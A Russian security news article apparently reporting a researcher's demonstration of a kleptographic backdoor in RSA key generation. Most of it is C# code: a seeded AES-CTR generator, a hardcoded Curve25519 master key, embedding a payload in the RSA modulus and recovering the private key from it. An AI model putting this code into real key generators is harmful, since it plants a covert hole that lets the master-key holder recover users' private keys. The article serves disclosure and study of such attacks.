Исследователь продемонстрировал эксплуатацию бэкдора в открытом RSA-ключе

image

Теги: шифрование, ключ шифрования, алгоритм

Для того, чтобы имеющий доступ к генератору RSA-ключа пользователь предоставил другому возможность получить закрытый ключ, достаточно осуществить ряд несложных действий.

Пользователь GitHub под ником RyanC  сообщил  о бэкдоре в открытом RSA-ключе. По словам исследователя, для того, чтобы один пользователь, имеющий доступ к генератору RSA-ключа, предоставил другому возможность получить закрытый ключ без факторизации и других квантовых компьютеров, достаточно осуществить ряд несложных действий.

Для эксплуатации бэкдора RyanC использовал язык программирования C#, набор API BouncyCastle и библиотеку Chaos.NaCl, в которой реализована эллиптическая кривая Curve25519. Исследователю также потребовался генератор псевдослучайных чисел, инициализированный с помощью случайного значения. RyanC использовал алгоритм блочного шифрования AES в режиме счетчика (CTR).
 using System;
 using System.ComponentModel;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Security;
namespace RsaBackdoor.Backdoor
{
class SeededGenerator:IRandomGenerator
{
private readonly AesFastEngine _engine = new AesFastEngine();
private readonly byte[] _counter = new byte[16];
private readonly byte[] _buf = new byte[16];
private int bufOffset = 0;
public SeededGenerator(byte[] key)
{
_engine.Init(true, new KeyParameter(key));
MakeBytes();
}
private void MakeBytes()
{
bufOffset = 0;
_engine.ProcessBlock(_counter, 0, _buf, 0);
IncrementCounter();
}
public void IncrementCounter()
{
for (int i = 0; i < _counter.Length; i++)
{
_counter[i]++;
if (_counter[i] != 0)
break;
}
}
public void AddSeedMaterial(byte[] seed)
{
}
public void AddSeedMaterial(long seed)
{
}
public void NextBytes(byte[] bytes)
{
NextBytes(bytes, 0, bytes.Length);
}
public void NextBytes(byte[] bytes, int start, int len)
{
var count = 0;
while (count < len)
{
var amount = Math.Min(_buf.Length - bufOffset, len - count);
Array.Copy(_buf, bufOffset, bytes, start + count, amount);
count += amount;
bufOffset += amount;
if (bufOffset >= _buf.Length)
{
MakeBytes();
}
}
}
}
}

Исследователь подчеркнул, что для основанного на эллиптической кривой Curve25519 закрытого ключа действительна любая 32-битная последовательность. При этом открытый ключ также всегда является 32-битным. RyanC предварительно сгенерировал мастер-ключ:

private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8";
private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR);

Для каждой пары RSA-ключей исследователь сгенерировал случайную пару с помощью Curve25519, а затем вычислил ключ генератора псевдослучайных чисел.

private void MakeSeedAndPayload(out byte[] seed, out byte[] payload)
{
var rnd = new SecureRandom();
var priv = new byte[32];
rnd.NextBytes(priv);
payload = MontgomeryCurve25519.GetPublicKey(priv);
seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
}

Далее RyanC внедрил использованный для вычисления начального числа открытый ключ Curve25519, который является полезной нагрузкой, в открытый RSA-ключ. Для этого он сгенерировал пару RSA-ключей с помощью генератора псевдослучайных чисел и полученного начального числа.

var publicExponent = new BigInteger("10001", 16);
var keygen = new RsaKeyPairGenerator();
keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80));
var pair = keygen.GenerateKeyPair();

Стоит отметить, что в алгоритме используются два простых числа p и q. Исследователь заменил их полученной полезной нагрузкой:

 var paramz = ((RsaPrivateCrtKeyParameters) pair.Private);
var modulus = paramz.Modulus.ToByteArray();
Replace(modulus, payload, 80);

Далее RyanC вычислил новое значение q':

 q' = n' / p

 var p = paramz.P;
var n = new BigInteger(modulus);
var preQ = n.Divide(p);
var q = preQ.NextProbablePrime();

Получив новое значение q, исследователь вычислил все параметры пары ключей:

     public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent)
{
if (p.Max(q).Equals(q))
{
var tmp = p;
p = q;
q = tmp;
}
var modulus = p.Multiply(q);
var p1 = p.Subtract(BigInteger.One);
var q1 = q.Subtract(BigInteger.One);
var phi = p1.Multiply(q1);
var privateExponent = publicExponent.ModInverse(phi);
var dP = privateExponent.Remainder(p1);
var dQ = privateExponent.Remainder(q1);
var qInv = q.ModInverse(p);
var priv = new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);
return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv);
}

Таким образом RyanC получил полезную нагрузку.

public byte[] ExtractPayload(RsaKeyParameters pub)
{
var modulus = pub.Modulus.ToByteArray();
var payload = new byte[32];
Array.Copy(modulus, 80, payload, 0, 32);
return payload;
}

Далее исследователь вычислил начальное число и повторил процесс еще раз для получения закрытого ключа.

public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload)
{
var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
return BuildKey(seed, payload);
}

С помощью закрытого ключа Curve25519, можно получить закрытый ключ каждого RSA, содержащего бэкдор. 

Telegram Подписывайтесь на канал "SecurityLab" в Telegram, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.